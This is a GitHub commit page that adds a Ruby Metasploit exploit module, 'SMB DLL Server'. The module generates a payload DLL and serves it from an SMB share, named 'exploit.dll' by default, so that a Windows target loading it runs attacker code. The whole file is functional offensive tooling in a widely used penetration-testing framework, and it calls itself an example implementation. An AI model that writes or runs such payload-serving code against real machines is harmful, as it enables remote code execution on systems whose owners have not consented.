Skip to content

Commit 22ff4d0

Browse files
committed
Update with master changes
2 parents bcdf261 + dfb6711 commit 22ff4d0

File tree

1 file changed

+61
-0
lines changed

1 file changed

+61
-0
lines changed
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
# This is an example implementation of using the
7+
# Msf::Exploit::Remote::SMBFileServer module
8+
# to serve an arbitrary DLL over SMB
9+
10+
require 'msf/core'
11+
12+
class Metasploit3 < Msf::Exploit::Remote
13+
include Msf::Exploit::Remote::SMB::Server::Share
14+
include Msf::Exploit::EXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => 'SMB DLL Server',
19+
'Description' => %q{
20+
This is an example implementation of using the SMBFileServer module
21+
to serve an arbitrary DLL over SMB.
22+
This module will sit around waiting for a DLL to be loaded,
23+
for instance by the "payload/windows/loadlibrary" module.
24+
},
25+
'Author' => [
26+
'Matthew Hall <[email protected]>',
27+
],
28+
'DisclosureDate' => 'Mar 05 2014',
29+
'Platform' => 'win',
30+
'Privileged' => true,
31+
'Arch' => ARCH_X86,
32+
'References' =>
33+
[
34+
[ 'URL', 'http://www.sec-1.com/blog/'],
35+
],
36+
'DefaultOptions' =>
37+
{
38+
'EXITFUNC' => 'thread',
39+
},
40+
'Privileged' => true,
41+
'Platform' => [ 'win'],
42+
'Targets' =>
43+
[
44+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
45+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
46+
],
47+
'DefaultTarget' => 0, # Default target is 32-bit
48+
))
49+
register_options(
50+
[
51+
OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll'])
52+
], self.class)
53+
deregister_options('FILE_CONTENTS')
54+
end
55+
56+
def primer
57+
self.file_contents = generate_payload_dll
58+
print_status("File available on #{unc}...")
59+
end
60+
61+
end

0 commit comments

Comments
 (0)